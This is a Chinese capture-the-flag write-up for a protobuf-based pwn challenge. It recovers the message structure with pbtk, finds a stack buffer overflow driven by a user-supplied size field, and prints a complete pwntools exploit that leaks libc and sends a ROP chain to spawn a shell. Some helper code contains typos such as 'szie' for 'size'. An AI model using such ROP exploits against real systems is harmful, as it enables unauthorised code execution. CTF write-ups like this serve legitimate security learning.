# protocol

前言:

华中赛区题目,第一次,由此记录一下

文档:https://protobuf.dev/overview/

如何去还原此结构:

我的方案如下

git clone https://github.com/marin-m/pbtk.git

sudo apt install protobuf-compiler

先进行必要的安装配置

接下来去生成导入的 py 包

./extractors/from_binary.py ./pwn

protoc --python_out=. ./filename.proto

image-20240628092648137

即可得到上面文件

# 题目启动

# 检查保护

image-20240628093304459

运行一波程序看看咋样

image-20240628093431819

# 测试

输入会输出这个,去定位一下

image-20240628093536176

if 判断 v5 是否返回 1,返回 0 则会输出 Protobuf Parse Error!

image-20240628093750454

可以发现,我们 v6 向 s 所在地址去输入,而 v5 所指向的函数应该是检测 s 地址内容的函数

GPT 解释如下

google::protobuf::MessageLite::ParseFromArray 是 Google Protocol Buffers (protobuf) 库中用于解析二进制数据的方法。它从给定的字节数组中解析数据并将其填充到相应的 protobuf 消息中。

让我们分解一下这个函数调用:

google::protobuf::MessageLite::ParseFromArray((google::protobuf::MessageLite *)&unk_209080, s, v6);
  • google::protobuf::MessageLite 是一个抽象基类,它定义了所有 protobuf 消息的基本接口和操作。 ParseFromArray 是这个类中的一个成员函数。

  • ParseFromArray 函数的签名通常是这样的:

    bool ParseFromArray(const void* data, int size);
    

    它从一个给定大小的字节数组 ( data 开始,大小为 size ) 中解析 protobuf 消息。

  • 在这个调用中:

    • (google::protobuf::MessageLite *)&unk_209080 是一个指向 google::protobuf::MessageLite 派生类实例的指针,表示要将解析得到的数据填充到 unk_209080 对象中。
    • s 是一个指向字节数组的指针,表示数据来源。
    • v6 是一个整数,表示字节数组的大小(即 s 的长度)。

换句话说,这个函数调用试图从字节数组 s 中读取 v6 个字节,并将解析得到的消息存储到 unk_209080 对象中。

如果解析成功, ParseFromArray 将返回 true ;如果失败,则返回 false 。通常情况下,失败的原因可能包括数据格式不正确或数组长度不够等。

所以如果我们解析失败则不去往下去执行

unk_209080 填充数据地方只有 1bit 大小空间

image-20240628095136822

我们很难进行自己去输入测试

看下结构体

message protoMessage {
    optional string name = 1;
    optional string phoneNumber = 2;
    required bytes buffer = 3;
    required uint32 size = 4;
}

optional 可选项

required 需要写入

封装函数

def send_payload( buf, szie, name = b'name', phoneNumber = b'phoneNumber'):
	pl = message_pb2.protoMessage()
	pl.buffer = buf
	pl.size = len(size)
	return pl.SerializeToString()
from pwn import *
import message_pb2
p = process('./pwn')
'''
message protoMessage {
    optional string name = 1;
    optional string phoneNumber = 2;
    required bytes buffer = 3;
    required uint32 size = 4;
}
'''
def set_payload(buf, szie, name = b'name', phoneNumber = b'phoneNumber'):
	pl = message_pb2.protoMessage()
	pl.name = name
	pl.phoneNumber = phoneNumber
	pl.buffer = buf
	pl.size = size
	return pl.SerializeToString()
buf = b'aaaa'
size = len(buf)
payload = set_payload(buf,size)
p.send(payload)
p.interactive()

image-20240628102847682

这样我们就可以成功的去执行了

# 寻找漏洞

image-20240628103148873

n [0] 是我们输入 buf 的大小,n [1] 是我们输入的内容。而前面可以设置最大为 0x1000 很明显有栈溢出漏洞。

给出给的 puts 函数的地址,构造合理的 rop 或者 one_gadget(后来发现 one_gadget 没有相应的条件

完整 exp 如下

from pwn import *
import message_pb2
p = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def set_payload(buf, szie, name = b'name', phoneNumber = b'phoneNumber'):
	pl = message_pb2.protoMessage()
	pl.name = name
	pl.phoneNumber = phoneNumber
	pl.buffer = buf
	pl.size = size
	return pl.SerializeToString()
def debug():
	gdb.attach(p)
	pause()
'''
message protoMessage {
    optional string name = 1;
    optional string phoneNumber = 2;
    required bytes buffer = 3;
    required uint32 size = 4;
}
'''
# debug()
p.recvuntil(b'Gift: 0x')
puts_libc = int(p.recvn(12),16)
libcbase = puts_libc - libc.sym['puts']
success(hex(libcbase))
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh'))
rdi = libcbase + 0x000000000002164f
ret = rdi + 1
ogg = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]
og = libcbase + ogg[3]
buf = b'a'*0x218 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
size = len(buf)
payload = set_payload(buf,size)
p.send(payload)
p.interactive()